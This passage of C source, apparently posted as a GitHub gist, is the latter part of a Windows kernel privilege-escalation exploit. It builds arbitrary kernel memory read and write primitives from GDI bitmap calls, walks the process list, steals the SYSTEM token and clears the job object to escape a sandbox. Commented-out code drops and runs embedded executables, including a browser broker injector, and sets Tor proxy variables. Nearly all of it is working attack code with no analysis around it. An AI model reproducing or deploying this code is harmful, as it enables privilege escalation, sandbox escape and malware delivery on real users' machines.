unsigned int KiInitialProcessMmProcessLinksFlinkLow = arbread(lpTable, KiInitialProcessLow + 0x5c0, KiInitialProcessHigh); | |
unsigned int KiInitialProcessMmProcessLinksFlinkHigh = arbread(lpTable, KiInitialProcessLow + 0x5c4, KiInitialProcessHigh); | |
kbase = KiInitialProcessMmProcessLinksFlinkHigh; | |
kproc = KiInitialProcessMmProcessLinksFlinkLow - 0x5c0; | |
unsigned int sysproc2l = kproc; | |
unsigned int sysproc2h = kbase; | |
sysprocl = kproc; | |
sysproch = kbase; | |
/* now I've got system eprocess, search for current process*/ | |
DWORD dPid = lpTable->fpGetCurrentProcessId(); //GetCurrentProcessId(); | |
//traverse processes | |
//sysprocl = arbread(kproc+flink_offset, kbase)-flink_offset; | |
//if (is64) | |
// sysproch = arbread(kproc+flink_offset+4, kbase); | |
for (;;) { | |
unsigned int tmpaddr; | |
if (arbread(lpTable, sysprocl + pid_offset, sysproch) == dPid) //System | |
{ | |
break; | |
} | |
tmpaddr = arbread(lpTable, sysprocl + flink_offset, sysproch) - flink_offset; | |
if (lpTable->locals->is64) | |
sysproch = arbread(lpTable, sysprocl + flink_offset + 4, sysproch); | |
sysprocl = tmpaddr; | |
} | |
kproc = sysprocl; | |
sysprocl = sysproc2l; | |
sysproch = sysproc2h; | |
systokenh = 0; | |
if (!lpTable->locals->is64) { | |
systokenl = arbread(lpTable, sysprocl + token_offset, sysproch); | |
systokenl &= 0xFFFFFFF8; | |
} | |
else { | |
systokenl = arbread(lpTable, sysprocl + token_offset, sysproch); | |
systokenh = arbread(lpTable, sysprocl + token_offset + 4, sysproch); | |
systokenl &= 0xFFFFFFF0; | |
} | |
origtokenl = arbread(lpTable, kproc + token_offset, kbase); | |
if (lpTable->locals->is64) | |
origtokenh = arbread(lpTable, kproc + token_offset + 4, kbase); | |
arbwrite(lpTable, kproc + token_offset, kbase, systokenl, systokenh); | |
//clear out job object - escape potential sandbox | |
origjobl = arbread(lpTable, kproc + job_offset, kbase); | |
if (lpTable->locals->is64) | |
origjobh = arbread(lpTable, kproc + job_offset + 4, kbase); | |
arbwrite(lpTable, kproc + job_offset, kbase, 0, 0); | |
} | |
//EnumWindows(enumproc, GetCurrentProcessId()); | |
/* | |
GetTempPath(1024, inbuf); | |
strcat(inbuf, "\\starter.exe"); | |
writeEXE(inbuf, pdf, sizeof(pdf)); | |
sprintf(outbuf, "%s 0x%x", inbuf, mywindow); | |
execstarter(outbuf); | |
ShowWindow(mywindow, SW_HIDE); */ | |
//executeprogram("calc.exe"); | |
execstarter(lpTable, lpTable->lpLoaderConfig->strCalc); | |
/* insert cert */ | |
/*char insert_cert_path[MAX_PATH+1]; | |
GetTempPath(MAX_PATH + 1, insert_cert_path); | |
strcat(insert_cert_path, "\\insert_cert.exe"); | |
printf("path is %s\n", insert_cert_path); | |
HANDLE hFile = CreateFileA(insert_cert_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) | |
return -1; | |
DWORD dwOut = 0; | |
WriteFile(hFile, insert_cert_exe, insert_cert_exe_len, &dwOut, NULL); | |
CloseHandle(hFile); | |
printf("Wrote %d bytes\n", dwOut); | |
Sleep(100); | |
execstarter(insert_cert_path); | |
Sleep(100); | |
fTemp = getTime(); | |
snprintf(logBuffer, 1024, "[*] set broker env vars: %llu\n", fTemp-fLastTime); | |
logLine(logBuffer); | |
fLastTime = fTemp;*/ | |
/* add env var to ie broker */ | |
//inject_broker_exe_len | |
/*char inject_broker_exe_path[MAX_PATH+1]; | |
GetTempPath(MAX_PATH + 1, inject_broker_exe_path); | |
strcat(inject_broker_exe_path, "\\ie_plug.exe"); | |
printf("path is %s\n", inject_broker_exe_path); | |
fTemp = getTime(); | |
snprintf(logBuffer, 1024, "[*] ie broker injector: %s\n", inject_broker_exe_path); | |
logLine(logBuffer); | |
fLastTime = fTemp; | |
hFile = CreateFileA(inject_broker_exe_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) | |
return -1; | |
dwOut = 0; | |
WriteFile(hFile, inject_broker_exe, inject_broker_exe_len, &dwOut, NULL); | |
CloseHandle(hFile); | |
printf("Wrote %d bytes\n", dwOut); | |
execstarter(inject_broker_exe_path);*/ | |
/* set vars to current tab/process */ | |
/*SetEnvironmentVariable("MARKER", "MARK"); | |
SetEnvironmentVariable("TOR_SOCKS_HOST", "10.0.0.1"); | |
SetEnvironmentVariable("TOR_SOCKS_PORT", "9150"); | |
SetEnvironmentVariable("TOR_CONTROL_HOST", "10.0.0.1"); | |
SetEnvironmentVariable("TOR_CONTROL_PORT", "9166"); | |
SetEnvironmentVariable("TOR_CONTROL_PASSWORD", "pippo");*/ | |
/* | |
BOOL bCreateProc = FALSE; | |
STARTUPINFO si; | |
PROCESS_INFORMATION pi; | |
memset(&si, 0, sizeof(STARTUPINFO)); | |
si.cb = sizeof(STARTUPINFO); | |
bCreateProc = CreateProcess("env_reader.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);*/ | |
/* | |
DWORD dwEnv = 0; | |
char buffer[256]; | |
dwEnv = GetEnvironmentVariable("TOR_CONTROL_PASSWORD", &buffer, 256); | |
printf("Env res %d: %s\n", dwEnv, buffer);*/ | |
//execstarter("calc.exe"); | |
//execstarter("insert_cert.exe"); | |
//printf("after\n"); | |
//InsertCert(); | |
//cleanup | |
/*GetTempPath(1024, inbuf); | |
strcat(inbuf, "\\starter.exe"); | |
DeleteFile(inbuf); */ | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strTokenRestore); | |
//restore token | |
//arbwrite(lpTable, lpTable->locals->kproc+lpTable->locals->token_offset, kbase, origtokenl, origtokenh); | |
arbwrite(lpTable, kproc + token_offset, kbase, origtokenl, origtokenh); | |
//restore job | |
//arbwrite(lpTable, lpTable->locals->kproc+lpTable->locals->job_offset, kbase, origjobl, origjobh); | |
arbwrite(lpTable, kproc + job_offset, kbase, origjobl, origjobh); | |
if (lpTable->locals->firstfailed) { | |
for(;;) lpTable->fpSleep(100000); | |
} | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strBail); | |
return 0; | |
} | |
// ported | |
unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh) { | |
unsigned int tmp[4];// = {0,0,0,0}; | |
__MEMSET__(tmp, 0, 4); | |
if (lpTable->locals->is64) { | |
tmp[0] = tmp[2] = addrl; | |
tmp[1] = tmp[3] = addrh; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp); | |
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]); | |
} else { | |
tmp[0] = tmp[1] = addrl; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); | |
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]); | |
} | |
return tmp[0]; | |
} | |
// ported | |
unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned int addrh, unsigned int value0, unsigned int value1) { | |
unsigned int tmp[4]; // = {0,0,0,0}; | |
__MEMSET__(tmp, 0, 4); | |
if (lpTable->locals->is64) { | |
tmp[0] = tmp[2] = addrl; | |
tmp[1] = tmp[3] = addrh; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp); | |
tmp[0] = value0; | |
tmp[1] = value1; | |
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, 8, &tmp[0]); | |
} else { | |
tmp[0] = tmp[1] = addrl; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); | |
tmp[0] = value0; | |
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]); | |
} | |
return tmp[0]; | |
} | |
/*__declspec(dllexport) void lift(void) { | |
//do not exploit when previewing files | |
//comment out the following two lines if you wish to trigger an exploitation | |
//in such cases | |
//if ((GetModuleHandle("BIB.dll") == 0) || (GetModuleHandle("CoolType.dll") == 0)) | |
// ExitProcess(0); | |
exploit(); | |
return; | |
}*/ | |
/*BOOL APIENTRY DllMain (HINSTANCE hInst, | |
DWORD reason, | |
LPVOID reserved ) | |
{ | |
//exploit(); | |
return TRUE; | |
}*/ | |
/*int main() { | |
printf("Start\n"); | |
exploit(); | |
printf("Finish\n"); | |
}*/ | |
#pragma optimize(off) | |
int __MEMCMP__(unsigned char *s1, unsigned char *s2, size_t n) | |
{ | |
unsigned char u1, u2; | |
for ( ; n-- ; s1++, s2++) { | |
u1 = * (unsigned char *) s1; | |
u2 = * (unsigned char *) s2; | |
if ( u1 != u2) { | |
return (u1-u2); | |
} | |
} | |
return 0; | |
} | |
VOID __MEMSET__( LPVOID p, int cValue, size_t dwSize) | |
{ | |
for (UINT i=0; i<dwSize; i++) | |
((PCHAR)p)[i] = cValue; | |
} | |
LPVOID __MEMCPY__( LPVOID lpDst, LPVOID lpSrc, DWORD dwCount){ | |
LPBYTE s = (LPBYTE) lpSrc; | |
LPBYTE d = (LPBYTE) lpDst; | |
while (dwCount--) | |
*d++ = *s++; | |
return lpDst; | |
} | |
#pragma optimize(on) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment